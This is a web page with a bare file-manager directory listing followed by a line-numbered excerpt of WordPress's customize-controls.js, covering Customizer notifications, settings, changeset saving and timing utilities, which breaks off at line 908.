run:R W Run
DIR
2026-01-24 15:10:18
R W Run
9.94 KB
2024-11-13 19:02:13
R W Run
7.82 KB
2024-11-13 19:02:13
R W Run
13.32 KB
2023-09-17 22:51:24
R W Run
10.03 KB
2023-09-17 22:51:24
R W Run
12.74 KB
2021-02-23 19:45:04
R W Run
9.11 KB
2022-04-08 20:07:18
R W Run
18.39 KB
2020-07-27 23:35:02
R W Run
10.09 KB
2023-02-02 16:36:32
R W Run
16.62 KB
2021-03-18 19:01:03
R W Run
10.48 KB
2022-04-08 20:07:18
R W Run
9.93 KB
2024-02-11 19:14:19
R W Run
8.36 KB
2022-04-08 20:07:18
R W Run
68.23 KB
2025-05-01 01:03:19
R W Run
30.2 KB
2025-05-01 01:03:19
R W Run
10.43 KB
2021-03-18 19:01:03
R W Run
8.26 KB
2021-03-18 19:01:03
R W Run
9.05 KB
2021-02-23 19:45:04
R W Run
295.49 KB
2025-12-03 06:22:56
R W Run
116.77 KB
2025-12-03 06:22:56
R W Run
118.54 KB
2025-12-03 06:22:56
R W Run
54.22 KB
2025-12-03 06:22:56
R W Run
77.12 KB
2024-09-04 11:48:32
R W Run
34.49 KB
2025-04-16 02:33:33
R W Run
34.09 KB
2025-04-16 02:33:33
R W Run
15.73 KB
2025-04-16 02:33:33
R W Run
44.19 KB
2025-04-16 02:33:33
R W Run
22.2 KB
2025-04-16 02:33:33
R W Run
48.68 KB
2024-09-04 11:48:32
R W Run
20.21 KB
2023-02-02 16:36:32
R W Run
51.08 KB
2025-12-03 06:22:56
R W Run
19.86 KB
2025-12-03 06:22:56
R W Run
14.74 KB
2023-07-17 22:03:26
R W Run
12.49 KB
2023-10-09 21:31:27
R W Run
10.73 KB
2023-10-09 21:31:27
R W Run
47.05 KB
2024-11-13 19:02:13
R W Run
22.23 KB
2024-11-13 19:02:13
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
27.24 KB
2024-11-13 19:02:13
R W Run
16.49 KB
2024-11-13 19:02:13
R W Run
14.69 KB
2021-03-18 19:01:03
R W Run
10 KB
2021-03-18 19:01:03
R W Run
30.17 KB
2021-11-03 19:40:00
R W Run
7.95 KB
2021-02-23 19:45:04
R W Run
7.49 KB
2021-02-23 19:45:04
R W Run
10.97 KB
2021-03-18 19:01:03
R W Run
8.78 KB
2021-03-18 19:01:03
R W Run
8.35 KB
2021-02-23 19:45:04
R W Run
7.67 KB
2022-04-08 20:07:18
R W Run
10.46 KB
2021-01-22 12:32:03
R W Run
8.2 KB
2023-02-02 16:36:32
R W Run
13.68 KB
2024-11-13 19:02:13
R W Run
9.46 KB
2024-11-13 19:02:13
R W Run
68.23 KB
2025-12-03 06:22:56
R W Run
37.14 KB
2025-12-03 06:22:56
R W Run
11.21 KB
2021-01-22 12:32:03
R W Run
8.17 KB
2021-01-22 12:32:03
R W Run
8.38 KB
2023-06-23 23:09:29
R W Run
7.91 KB
2023-06-23 23:09:29
R W Run
14 KB
2021-03-18 19:01:03
R W Run
9.42 KB
2023-02-02 16:36:32
R W Run
45.76 KB
2025-02-12 01:13:52
R W Run
25.48 KB
2025-02-12 01:13:52
R W Run
25.57 KB
2025-04-16 02:33:33
R W Run
13.68 KB
2025-04-16 02:33:33
R W Run
17.74 KB
2024-09-04 11:48:32
R W Run
12.11 KB
2024-09-04 11:48:32
R W Run
40.99 KB
2024-11-13 19:02:13
R W Run
25.05 KB
2024-11-13 19:02:13
R W Run
7.93 KB
2020-07-07 18:55:04
R W Run
7.68 KB
2020-07-07 18:55:04
R W Run
20.23 KB
2023-12-28 15:27:15
R W Run
13.21 KB
2023-12-28 15:27:15
R W Run
13.17 KB
2024-11-13 19:02:13
R W Run
9.28 KB
2024-11-13 19:02:13
R W Run
10.28 KB
2024-11-13 19:02:13
R W Run
8.61 KB
2024-11-13 19:02:13
R W Run
17.96 KB
2021-03-18 19:01:03
R W Run
10.08 KB
2023-02-02 16:36:32
R W Run
12.71 KB
2024-02-18 22:16:14
R W Run
9.29 KB
2024-02-18 22:16:14
R W Run
13.03 KB
2025-12-03 06:22:56
R W Run
9.49 KB
2025-12-03 06:22:56
R W Run
31.84 KB
2025-04-16 02:33:33
R W Run
18.51 KB
2025-04-16 02:33:33
R W Run
62.02 KB
2025-12-03 06:22:56
R W Run
33.58 KB
2025-12-03 06:22:56
R W Run
116.45 KB
2025-12-03 06:22:56
R W Run
54.39 KB
2025-12-03 06:22:56
R W Run
24.99 KB
2025-12-03 06:22:56
R W Run
14.89 KB
2025-12-03 06:22:56
R W Run
9.32 KB
2021-03-18 19:01:03
R W Run
7.74 KB
2021-03-18 19:01:03
R W Run
29.63 KB
2021-03-18 19:01:03
R W Run
19.39 KB
2023-02-02 16:36:32
R W Run
14.59 KB
2020-07-27 23:35:02
R W Run
8.57 KB
2023-02-02 16:36:32
R W Run
7.8 KB
2021-03-18 19:01:03
R W Run
7.53 KB
2021-03-18 19:01:03
R W Run
error_log
📄customize-controls.js
1/**
2 * @output wp-admin/js/customize-controls.js
3 */
4
5/* global _wpCustomizeHeader, _wpCustomizeBackground, _wpMediaViewsL10n, MediaElementPlayer, console, confirm */
6(function( exports, $ ){
7 var Container, focus, normalizedTransitionendEventName, api = wp.customize;
8
9 var reducedMotionMediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' );
10 var isReducedMotion = reducedMotionMediaQuery.matches;
11 reducedMotionMediaQuery.addEventListener( 'change' , function handleReducedMotionChange( event ) {
12 isReducedMotion = event.matches;
13 });
14
15 api.OverlayNotification = api.Notification.extend(/** @lends wp.customize.OverlayNotification.prototype */{
16
17 /**
18 * Whether the notification should show a loading spinner.
19 *
20 * @since 4.9.0
21 * @var {boolean}
22 */
23 loading: false,
24
25 /**
26 * A notification that is displayed in a full-screen overlay.
27 *
28 * @constructs wp.customize.OverlayNotification
29 * @augments wp.customize.Notification
30 *
31 * @since 4.9.0
32 *
33 * @param {string} code - Code.
34 * @param {Object} params - Params.
35 */
36 initialize: function( code, params ) {
37 var notification = this;
38 api.Notification.prototype.initialize.call( notification, code, params );
39 notification.containerClasses += ' notification-overlay';
40 if ( notification.loading ) {
41 notification.containerClasses += ' notification-loading';
42 }
43 },
44
45 /**
46 * Render notification.
47 *
48 * @since 4.9.0
49 *
50 * @return {jQuery} Notification container.
51 */
52 render: function() {
53 var li = api.Notification.prototype.render.call( this );
54 li.on( 'keydown', _.bind( this.handleEscape, this ) );
55 return li;
56 },
57
58 /**
59 * Stop propagation on escape key presses, but also dismiss notification if it is dismissible.
60 *
61 * @since 4.9.0
62 *
63 * @param {jQuery.Event} event - Event.
64 * @return {void}
65 */
66 handleEscape: function( event ) {
67 var notification = this;
68 if ( 27 === event.which ) {
69 event.stopPropagation();
70 if ( notification.dismissible && notification.parent ) {
71 notification.parent.remove( notification.code );
72 }
73 }
74 }
75 });
76
77 api.Notifications = api.Values.extend(/** @lends wp.customize.Notifications.prototype */{
78
79 /**
80 * Whether the alternative style should be used.
81 *
82 * @since 4.9.0
83 * @type {boolean}
84 */
85 alt: false,
86
87 /**
88 * The default constructor for items of the collection.
89 *
90 * @since 4.9.0
91 * @type {object}
92 */
93 defaultConstructor: api.Notification,
94
95 /**
96 * A collection of observable notifications.
97 *
98 * @since 4.9.0
99 *
100 * @constructs wp.customize.Notifications
101 * @augments wp.customize.Values
102 *
103 * @param {Object} options - Options.
104 * @param {jQuery} [options.container] - Container element for notifications. This can be injected later.
105 * @param {boolean} [options.alt] - Whether alternative style should be used when rendering notifications.
106 *
107 * @return {void}
108 */
109 initialize: function( options ) {
110 var collection = this;
111
112 api.Values.prototype.initialize.call( collection, options );
113
114 _.bindAll( collection, 'constrainFocus' );
115
116 // Keep track of the order in which the notifications were added for sorting purposes.
117 collection._addedIncrement = 0;
118 collection._addedOrder = {};
119
120 // Trigger change event when notification is added or removed.
121 collection.bind( 'add', function( notification ) {
122 collection.trigger( 'change', notification );
123 });
124 collection.bind( 'removed', function( notification ) {
125 collection.trigger( 'change', notification );
126 });
127 },
128
129 /**
130 * Get the number of notifications added.
131 *
132 * @since 4.9.0
133 * @return {number} Count of notifications.
134 */
135 count: function() {
136 return _.size( this._value );
137 },
138
139 /**
140 * Add notification to the collection.
141 *
142 * @since 4.9.0
143 *
144 * @param {string|wp.customize.Notification} notification - Notification object to add. Alternatively code may be supplied, and in that case the second notificationObject argument must be supplied.
145 * @param {wp.customize.Notification} [notificationObject] - Notification to add when first argument is the code string.
146 * @return {wp.customize.Notification} Added notification (or existing instance if it was already added).
147 */
148 add: function( notification, notificationObject ) {
149 var collection = this, code, instance;
150 if ( 'string' === typeof notification ) {
151 code = notification;
152 instance = notificationObject;
153 } else {
154 code = notification.code;
155 instance = notification;
156 }
157 if ( ! collection.has( code ) ) {
158 collection._addedIncrement += 1;
159 collection._addedOrder[ code ] = collection._addedIncrement;
160 }
161 return api.Values.prototype.add.call( collection, code, instance );
162 },
163
164 /**
165 * Add notification to the collection.
166 *
167 * @since 4.9.0
168 * @param {string} code - Notification code to remove.
169 * @return {api.Notification} Added instance (or existing instance if it was already added).
170 */
171 remove: function( code ) {
172 var collection = this;
173 delete collection._addedOrder[ code ];
174 return api.Values.prototype.remove.call( this, code );
175 },
176
177 /**
178 * Get list of notifications.
179 *
180 * Notifications may be sorted by type followed by added time.
181 *
182 * @since 4.9.0
183 * @param {Object} args - Args.
184 * @param {boolean} [args.sort=false] - Whether to return the notifications sorted.
185 * @return {Array.<wp.customize.Notification>} Notifications.
186 */
187 get: function( args ) {
188 var collection = this, notifications, errorTypePriorities, params;
189 notifications = _.values( collection._value );
190
191 params = _.extend(
192 { sort: false },
193 args
194 );
195
196 if ( params.sort ) {
197 errorTypePriorities = { error: 4, warning: 3, success: 2, info: 1 };
198 notifications.sort( function( a, b ) {
199 var aPriority = 0, bPriority = 0;
200 if ( ! _.isUndefined( errorTypePriorities[ a.type ] ) ) {
201 aPriority = errorTypePriorities[ a.type ];
202 }
203 if ( ! _.isUndefined( errorTypePriorities[ b.type ] ) ) {
204 bPriority = errorTypePriorities[ b.type ];
205 }
206 if ( aPriority !== bPriority ) {
207 return bPriority - aPriority; // Show errors first.
208 }
209 return collection._addedOrder[ b.code ] - collection._addedOrder[ a.code ]; // Show newer notifications higher.
210 });
211 }
212
213 return notifications;
214 },
215
216 /**
217 * Render notifications area.
218 *
219 * @since 4.9.0
220 * @return {void}
221 */
222 render: function() {
223 var collection = this,
224 notifications, hadOverlayNotification = false, hasOverlayNotification, overlayNotifications = [],
225 previousNotificationsByCode = {},
226 listElement, focusableElements;
227
228 // Short-circuit if there are no container to render into.
229 if ( ! collection.container || ! collection.container.length ) {
230 return;
231 }
232
233 notifications = collection.get( { sort: true } );
234 collection.container.toggle( 0 !== notifications.length );
235
236 // Short-circuit if there are no changes to the notifications.
237 if ( collection.container.is( collection.previousContainer ) && _.isEqual( notifications, collection.previousNotifications ) ) {
238 return;
239 }
240
241 // Make sure list is part of the container.
242 listElement = collection.container.children( 'ul' ).first();
243 if ( ! listElement.length ) {
244 listElement = $( '<ul></ul>' );
245 collection.container.append( listElement );
246 }
247
248 // Remove all notifications prior to re-rendering.
249 listElement.find( '> [data-code]' ).remove();
250
251 _.each( collection.previousNotifications, function( notification ) {
252 previousNotificationsByCode[ notification.code ] = notification;
253 });
254
255 // Add all notifications in the sorted order.
256 _.each( notifications, function( notification ) {
257 var notificationContainer;
258 if ( wp.a11y && ( ! previousNotificationsByCode[ notification.code ] || ! _.isEqual( notification.message, previousNotificationsByCode[ notification.code ].message ) ) ) {
259 wp.a11y.speak( notification.message, 'assertive' );
260 }
261 notificationContainer = $( notification.render() );
262 notification.container = notificationContainer;
263 listElement.append( notificationContainer ); // @todo Consider slideDown() as enhancement.
264
265 if ( notification.extended( api.OverlayNotification ) ) {
266 overlayNotifications.push( notification );
267 }
268 });
269 hasOverlayNotification = Boolean( overlayNotifications.length );
270
271 if ( collection.previousNotifications ) {
272 hadOverlayNotification = Boolean( _.find( collection.previousNotifications, function( notification ) {
273 return notification.extended( api.OverlayNotification );
274 } ) );
275 }
276
277 if ( hasOverlayNotification !== hadOverlayNotification ) {
278 $( document.body ).toggleClass( 'customize-loading', hasOverlayNotification );
279 collection.container.toggleClass( 'has-overlay-notifications', hasOverlayNotification );
280 if ( hasOverlayNotification ) {
281 collection.previousActiveElement = document.activeElement;
282 $( document ).on( 'keydown', collection.constrainFocus );
283 } else {
284 $( document ).off( 'keydown', collection.constrainFocus );
285 }
286 }
287
288 if ( hasOverlayNotification ) {
289 collection.focusContainer = overlayNotifications[ overlayNotifications.length - 1 ].container;
290 collection.focusContainer.prop( 'tabIndex', -1 );
291 focusableElements = collection.focusContainer.find( ':focusable' );
292 if ( focusableElements.length ) {
293 focusableElements.first().focus();
294 } else {
295 collection.focusContainer.focus();
296 }
297 } else if ( collection.previousActiveElement ) {
298 $( collection.previousActiveElement ).trigger( 'focus' );
299 collection.previousActiveElement = null;
300 }
301
302 collection.previousNotifications = notifications;
303 collection.previousContainer = collection.container;
304 collection.trigger( 'rendered' );
305 },
306
307 /**
308 * Constrain focus on focus container.
309 *
310 * @since 4.9.0
311 *
312 * @param {jQuery.Event} event - Event.
313 * @return {void}
314 */
315 constrainFocus: function constrainFocus( event ) {
316 var collection = this, focusableElements;
317
318 // Prevent keys from escaping.
319 event.stopPropagation();
320
321 if ( 9 !== event.which ) { // Tab key.
322 return;
323 }
324
325 focusableElements = collection.focusContainer.find( ':focusable' );
326 if ( 0 === focusableElements.length ) {
327 focusableElements = collection.focusContainer;
328 }
329
330 if ( ! $.contains( collection.focusContainer[0], event.target ) || ! $.contains( collection.focusContainer[0], document.activeElement ) ) {
331 event.preventDefault();
332 focusableElements.first().focus();
333 } else if ( focusableElements.last().is( event.target ) && ! event.shiftKey ) {
334 event.preventDefault();
335 focusableElements.first().focus();
336 } else if ( focusableElements.first().is( event.target ) && event.shiftKey ) {
337 event.preventDefault();
338 focusableElements.last().focus();
339 }
340 }
341 });
342
343 api.Setting = api.Value.extend(/** @lends wp.customize.Setting.prototype */{
344
345 /**
346 * Default params.
347 *
348 * @since 4.9.0
349 * @var {object}
350 */
351 defaults: {
352 transport: 'refresh',
353 dirty: false
354 },
355
356 /**
357 * A Customizer Setting.
358 *
359 * A setting is WordPress data (theme mod, option, menu, etc.) that the user can
360 * draft changes to in the Customizer.
361 *
362 * @see PHP class WP_Customize_Setting.
363 *
364 * @constructs wp.customize.Setting
365 * @augments wp.customize.Value
366 *
367 * @since 3.4.0
368 *
369 * @param {string} id - The setting ID.
370 * @param {*} value - The initial value of the setting.
371 * @param {Object} [options={}] - Options.
372 * @param {string} [options.transport=refresh] - The transport to use for previewing. Supports 'refresh' and 'postMessage'.
373 * @param {boolean} [options.dirty=false] - Whether the setting should be considered initially dirty.
374 * @param {Object} [options.previewer] - The Previewer instance to sync with. Defaults to wp.customize.previewer.
375 */
376 initialize: function( id, value, options ) {
377 var setting = this, params;
378 params = _.extend(
379 { previewer: api.previewer },
380 setting.defaults,
381 options || {}
382 );
383
384 api.Value.prototype.initialize.call( setting, value, params );
385
386 setting.id = id;
387 setting._dirty = params.dirty; // The _dirty property is what the Customizer reads from.
388 setting.notifications = new api.Notifications();
389
390 // Whenever the setting's value changes, refresh the preview.
391 setting.bind( setting.preview );
392 },
393
394 /**
395 * Refresh the preview, respective of the setting's refresh policy.
396 *
397 * If the preview hasn't sent a keep-alive message and is likely
398 * disconnected by having navigated to a non-allowed URL, then the
399 * refresh transport will be forced when postMessage is the transport.
400 * Note that postMessage does not throw an error when the recipient window
401 * fails to match the origin window, so using try/catch around the
402 * previewer.send() call to then fallback to refresh will not work.
403 *
404 * @since 3.4.0
405 * @access public
406 *
407 * @return {void}
408 */
409 preview: function() {
410 var setting = this, transport;
411 transport = setting.transport;
412
413 if ( 'postMessage' === transport && ! api.state( 'previewerAlive' ).get() ) {
414 transport = 'refresh';
415 }
416
417 if ( 'postMessage' === transport ) {
418 setting.previewer.send( 'setting', [ setting.id, setting() ] );
419 } else if ( 'refresh' === transport ) {
420 setting.previewer.refresh();
421 }
422 },
423
424 /**
425 * Find controls associated with this setting.
426 *
427 * @since 4.6.0
428 * @return {wp.customize.Control[]} Controls associated with setting.
429 */
430 findControls: function() {
431 var setting = this, controls = [];
432 api.control.each( function( control ) {
433 _.each( control.settings, function( controlSetting ) {
434 if ( controlSetting.id === setting.id ) {
435 controls.push( control );
436 }
437 } );
438 } );
439 return controls;
440 }
441 });
442
443 /**
444 * Current change count.
445 *
446 * @alias wp.customize._latestRevision
447 *
448 * @since 4.7.0
449 * @type {number}
450 * @protected
451 */
452 api._latestRevision = 0;
453
454 /**
455 * Last revision that was saved.
456 *
457 * @alias wp.customize._lastSavedRevision
458 *
459 * @since 4.7.0
460 * @type {number}
461 * @protected
462 */
463 api._lastSavedRevision = 0;
464
465 /**
466 * Latest revisions associated with the updated setting.
467 *
468 * @alias wp.customize._latestSettingRevisions
469 *
470 * @since 4.7.0
471 * @type {object}
472 * @protected
473 */
474 api._latestSettingRevisions = {};
475
476 /*
477 * Keep track of the revision associated with each updated setting so that
478 * requestChangesetUpdate knows which dirty settings to include. Also, once
479 * ready is triggered and all initial settings have been added, increment
480 * revision for each newly-created initially-dirty setting so that it will
481 * also be included in changeset update requests.
482 */
483 api.bind( 'change', function incrementChangedSettingRevision( setting ) {
484 api._latestRevision += 1;
485 api._latestSettingRevisions[ setting.id ] = api._latestRevision;
486 } );
487 api.bind( 'ready', function() {
488 api.bind( 'add', function incrementCreatedSettingRevision( setting ) {
489 if ( setting._dirty ) {
490 api._latestRevision += 1;
491 api._latestSettingRevisions[ setting.id ] = api._latestRevision;
492 }
493 } );
494 } );
495
496 /**
497 * Get the dirty setting values.
498 *
499 * @alias wp.customize.dirtyValues
500 *
501 * @since 4.7.0
502 * @access public
503 *
504 * @param {Object} [options] Options.
505 * @param {boolean} [options.unsaved=false] Whether only values not saved yet into a changeset will be returned (differential changes).
506 * @return {Object} Dirty setting values.
507 */
508 api.dirtyValues = function dirtyValues( options ) {
509 var values = {};
510 api.each( function( setting ) {
511 var settingRevision;
512
513 if ( ! setting._dirty ) {
514 return;
515 }
516
517 settingRevision = api._latestSettingRevisions[ setting.id ];
518
519 // Skip including settings that have already been included in the changeset, if only requesting unsaved.
520 if ( api.state( 'changesetStatus' ).get() && ( options && options.unsaved ) && ( _.isUndefined( settingRevision ) || settingRevision <= api._lastSavedRevision ) ) {
521 return;
522 }
523
524 values[ setting.id ] = setting.get();
525 } );
526 return values;
527 };
528
529 /**
530 * Request updates to the changeset.
531 *
532 * @alias wp.customize.requestChangesetUpdate
533 *
534 * @since 4.7.0
535 * @access public
536 *
537 * @param {Object} [changes] - Mapping of setting IDs to setting params each normally including a value property, or mapping to null.
538 * If not provided, then the changes will still be obtained from unsaved dirty settings.
539 * @param {Object} [args] - Additional options for the save request.
540 * @param {boolean} [args.autosave=false] - Whether changes will be stored in autosave revision if the changeset has been promoted from an auto-draft.
541 * @param {boolean} [args.force=false] - Send request to update even when there are no changes to submit. This can be used to request the latest status of the changeset on the server.
542 * @param {string} [args.title] - Title to update in the changeset. Optional.
543 * @param {string} [args.date] - Date to update in the changeset. Optional.
544 * @return {jQuery.Promise} Promise resolving with the response data.
545 */
546 api.requestChangesetUpdate = function requestChangesetUpdate( changes, args ) {
547 var deferred, request, submittedChanges = {}, data, submittedArgs;
548 deferred = new $.Deferred();
549
550 // Prevent attempting changeset update while request is being made.
551 if ( 0 !== api.state( 'processing' ).get() ) {
552 deferred.reject( 'already_processing' );
553 return deferred.promise();
554 }
555
556 submittedArgs = _.extend( {
557 title: null,
558 date: null,
559 autosave: false,
560 force: false
561 }, args );
562
563 if ( changes ) {
564 _.extend( submittedChanges, changes );
565 }
566
567 // Ensure all revised settings (changes pending save) are also included, but not if marked for deletion in changes.
568 _.each( api.dirtyValues( { unsaved: true } ), function( dirtyValue, settingId ) {
569 if ( ! changes || null !== changes[ settingId ] ) {
570 submittedChanges[ settingId ] = _.extend(
571 {},
572 submittedChanges[ settingId ] || {},
573 { value: dirtyValue }
574 );
575 }
576 } );
577
578 // Allow plugins to attach additional params to the settings.
579 api.trigger( 'changeset-save', submittedChanges, submittedArgs );
580
581 // Short-circuit when there are no pending changes.
582 if ( ! submittedArgs.force && _.isEmpty( submittedChanges ) && null === submittedArgs.title && null === submittedArgs.date ) {
583 deferred.resolve( {} );
584 return deferred.promise();
585 }
586
587 // A status would cause a revision to be made, and for this wp.customize.previewer.save() should be used.
588 // Status is also disallowed for revisions regardless.
589 if ( submittedArgs.status ) {
590 return deferred.reject( { code: 'illegal_status_in_changeset_update' } ).promise();
591 }
592
593 // Dates not beung allowed for revisions are is a technical limitation of post revisions.
594 if ( submittedArgs.date && submittedArgs.autosave ) {
595 return deferred.reject( { code: 'illegal_autosave_with_date_gmt' } ).promise();
596 }
597
598 // Make sure that publishing a changeset waits for all changeset update requests to complete.
599 api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );
600 deferred.always( function() {
601 api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
602 } );
603
604 // Ensure that if any plugins add data to save requests by extending query() that they get included here.
605 data = api.previewer.query( { excludeCustomizedSaved: true } );
606 delete data.customized; // Being sent in customize_changeset_data instead.
607 _.extend( data, {
608 nonce: api.settings.nonce.save,
609 customize_theme: api.settings.theme.stylesheet,
610 customize_changeset_data: JSON.stringify( submittedChanges )
611 } );
612 if ( null !== submittedArgs.title ) {
613 data.customize_changeset_title = submittedArgs.title;
614 }
615 if ( null !== submittedArgs.date ) {
616 data.customize_changeset_date = submittedArgs.date;
617 }
618 if ( false !== submittedArgs.autosave ) {
619 data.customize_changeset_autosave = 'true';
620 }
621
622 // Allow plugins to modify the params included with the save request.
623 api.trigger( 'save-request-params', data );
624
625 request = wp.ajax.post( 'customize_save', data );
626
627 request.done( function requestChangesetUpdateDone( data ) {
628 var savedChangesetValues = {};
629
630 // Ensure that all settings updated subsequently will be included in the next changeset update request.
631 api._lastSavedRevision = Math.max( api._latestRevision, api._lastSavedRevision );
632
633 api.state( 'changesetStatus' ).set( data.changeset_status );
634
635 if ( data.changeset_date ) {
636 api.state( 'changesetDate' ).set( data.changeset_date );
637 }
638
639 deferred.resolve( data );
640 api.trigger( 'changeset-saved', data );
641
642 if ( data.setting_validities ) {
643 _.each( data.setting_validities, function( validity, settingId ) {
644 if ( true === validity && _.isObject( submittedChanges[ settingId ] ) && ! _.isUndefined( submittedChanges[ settingId ].value ) ) {
645 savedChangesetValues[ settingId ] = submittedChanges[ settingId ].value;
646 }
647 } );
648 }
649
650 api.previewer.send( 'changeset-saved', _.extend( {}, data, { saved_changeset_values: savedChangesetValues } ) );
651 } );
652 request.fail( function requestChangesetUpdateFail( data ) {
653 deferred.reject( data );
654 api.trigger( 'changeset-error', data );
655 } );
656 request.always( function( data ) {
657 if ( data.setting_validities ) {
658 api._handleSettingValidities( {
659 settingValidities: data.setting_validities
660 } );
661 }
662 } );
663
664 return deferred.promise();
665 };
666
667 /**
668 * Watch all changes to Value properties, and bubble changes to parent Values instance
669 *
670 * @alias wp.customize.utils.bubbleChildValueChanges
671 *
672 * @since 4.1.0
673 *
674 * @param {wp.customize.Class} instance
675 * @param {Array} properties The names of the Value instances to watch.
676 */
677 api.utils.bubbleChildValueChanges = function ( instance, properties ) {
678 $.each( properties, function ( i, key ) {
679 instance[ key ].bind( function ( to, from ) {
680 if ( instance.parent && to !== from ) {
681 instance.parent.trigger( 'change', instance );
682 }
683 } );
684 } );
685 };
686
687 /**
688 * Expand a panel, section, or control and focus on the first focusable element.
689 *
690 * @alias wp.customize~focus
691 *
692 * @since 4.1.0
693 *
694 * @param {Object} [params]
695 * @param {Function} [params.completeCallback]
696 */
697 focus = function ( params ) {
698 var construct, completeCallback, focus, focusElement, sections;
699 construct = this;
700 params = params || {};
701 focus = function () {
702 // If a child section is currently expanded, collapse it.
703 if ( construct.extended( api.Panel ) ) {
704 sections = construct.sections();
705 if ( 1 < sections.length ) {
706 sections.forEach( function ( section ) {
707 if ( section.expanded() ) {
708 section.collapse();
709 }
710 } );
711 }
712 }
713
714 var focusContainer;
715 if ( ( construct.extended( api.Panel ) || construct.extended( api.Section ) ) && construct.expanded && construct.expanded() ) {
716 focusContainer = construct.contentContainer;
717 } else {
718 focusContainer = construct.container;
719 }
720
721 focusElement = focusContainer.find( '.control-focus:first' );
722 if ( 0 === focusElement.length ) {
723 // Note that we can't use :focusable due to a jQuery UI issue. See: https://github.com/jquery/jquery-ui/pull/1583
724 focusElement = focusContainer.find( 'input, select, textarea, button, object, a[href], [tabindex]' ).filter( ':visible' ).first();
725 }
726 focusElement.focus();
727 };
728 if ( params.completeCallback ) {
729 completeCallback = params.completeCallback;
730 params.completeCallback = function () {
731 focus();
732 completeCallback();
733 };
734 } else {
735 params.completeCallback = focus;
736 }
737
738 api.state( 'paneVisible' ).set( true );
739 if ( construct.expand ) {
740 construct.expand( params );
741 } else {
742 params.completeCallback();
743 }
744 };
745
746 /**
747 * Stable sort for Panels, Sections, and Controls.
748 *
749 * If a.priority() === b.priority(), then sort by their respective params.instanceNumber.
750 *
751 * @alias wp.customize.utils.prioritySort
752 *
753 * @since 4.1.0
754 *
755 * @param {(wp.customize.Panel|wp.customize.Section|wp.customize.Control)} a
756 * @param {(wp.customize.Panel|wp.customize.Section|wp.customize.Control)} b
757 * @return {number}
758 */
759 api.utils.prioritySort = function ( a, b ) {
760 if ( a.priority() === b.priority() && typeof a.params.instanceNumber === 'number' && typeof b.params.instanceNumber === 'number' ) {
761 return a.params.instanceNumber - b.params.instanceNumber;
762 } else {
763 return a.priority() - b.priority();
764 }
765 };
766
767 /**
768 * Return whether the supplied Event object is for a keydown event but not the Enter key.
769 *
770 * @alias wp.customize.utils.isKeydownButNotEnterEvent
771 *
772 * @since 4.1.0
773 *
774 * @param {jQuery.Event} event
775 * @return {boolean}
776 */
777 api.utils.isKeydownButNotEnterEvent = function ( event ) {
778 return ( 'keydown' === event.type && 13 !== event.which );
779 };
780
781 /**
782 * Return whether the two lists of elements are the same and are in the same order.
783 *
784 * @alias wp.customize.utils.areElementListsEqual
785 *
786 * @since 4.1.0
787 *
788 * @param {Array|jQuery} listA
789 * @param {Array|jQuery} listB
790 * @return {boolean}
791 */
792 api.utils.areElementListsEqual = function ( listA, listB ) {
793 var equal = (
794 listA.length === listB.length && // If lists are different lengths, then naturally they are not equal.
795 -1 === _.indexOf( _.map( // Are there any false values in the list returned by map?
796 _.zip( listA, listB ), // Pair up each element between the two lists.
797 function ( pair ) {
798 return $( pair[0] ).is( pair[1] ); // Compare to see if each pair is equal.
799 }
800 ), false ) // Check for presence of false in map's return value.
801 );
802 return equal;
803 };
804
805 /**
806 * Highlight the existence of a button.
807 *
808 * This function reminds the user of a button represented by the specified
809 * UI element, after an optional delay. If the user focuses the element
810 * before the delay passes, the reminder is canceled.
811 *
812 * @alias wp.customize.utils.highlightButton
813 *
814 * @since 4.9.0
815 *
816 * @param {jQuery} button - The element to highlight.
817 * @param {Object} [options] - Options.
818 * @param {number} [options.delay=0] - Delay in milliseconds.
819 * @param {jQuery} [options.focusTarget] - A target for user focus that defaults to the highlighted element.
820 * If the user focuses the target before the delay passes, the reminder
821 * is canceled. This option exists to accommodate compound buttons
822 * containing auxiliary UI, such as the Publish button augmented with a
823 * Settings button.
824 * @return {Function} An idempotent function that cancels the reminder.
825 */
826 api.utils.highlightButton = function highlightButton( button, options ) {
827 var animationClass = 'button-see-me',
828 canceled = false,
829 params;
830
831 params = _.extend(
832 {
833 delay: 0,
834 focusTarget: button
835 },
836 options
837 );
838
839 function cancelReminder() {
840 canceled = true;
841 }
842
843 params.focusTarget.on( 'focusin', cancelReminder );
844 setTimeout( function() {
845 params.focusTarget.off( 'focusin', cancelReminder );
846
847 if ( ! canceled ) {
848 button.addClass( animationClass );
849 button.one( 'animationend', function() {
850 /*
851 * Remove animation class to avoid situations in Customizer where
852 * DOM nodes are moved (re-inserted) and the animation repeats.
853 */
854 button.removeClass( animationClass );
855 } );
856 }
857 }, params.delay );
858
859 return cancelReminder;
860 };
861
862 /**
863 * Get current timestamp adjusted for server clock time.
864 *
865 * Same functionality as the `current_time( 'mysql', false )` function in PHP.
866 *
867 * @alias wp.customize.utils.getCurrentTimestamp
868 *
869 * @since 4.9.0
870 *
871 * @return {number} Current timestamp.
872 */
873 api.utils.getCurrentTimestamp = function getCurrentTimestamp() {
874 var currentDate, currentClientTimestamp, timestampDifferential;
875 currentClientTimestamp = _.now();
876 currentDate = new Date( api.settings.initialServerDate.replace( /-/g, '/' ) );
877 timestampDifferential = currentClientTimestamp - api.settings.initialClientTimestamp;
878 timestampDifferential += api.settings.initialClientTimestamp - api.settings.initialServerTimestamp;
879 currentDate.setTime( currentDate.getTime() + timestampDifferential );
880 return currentDate.getTime();
881 };
882
883 /**
884 * Get remaining time of when the date is set.
885 *
886 * @alias wp.customize.utils.getRemainingTime
887 *
888 * @since 4.9.0
889 *
890 * @param {string|number|Date} datetime - Date time or timestamp of the future date.
891 * @return {number} remainingTime - Remaining time in milliseconds.
892 */
893 api.utils.getRemainingTime = function getRemainingTime( datetime ) {
894 var millisecondsDivider = 1000, remainingTime, timestamp;
895 if ( datetime instanceof Date ) {
896 timestamp = datetime.getTime();
897 } else if ( 'string' === typeof datetime ) {
898 timestamp = ( new Date( datetime.replace( /-/g, '/' ) ) ).getTime();
899 } else {
900 timestamp = datetime;
901 }
902
903 remainingTime = timestamp - api.utils.getCurrentTimestamp();
904 remainingTime = Math.ceil( remainingTime / millisecondsDivider );
905 return remainingTime;
906 };
907
908 /**
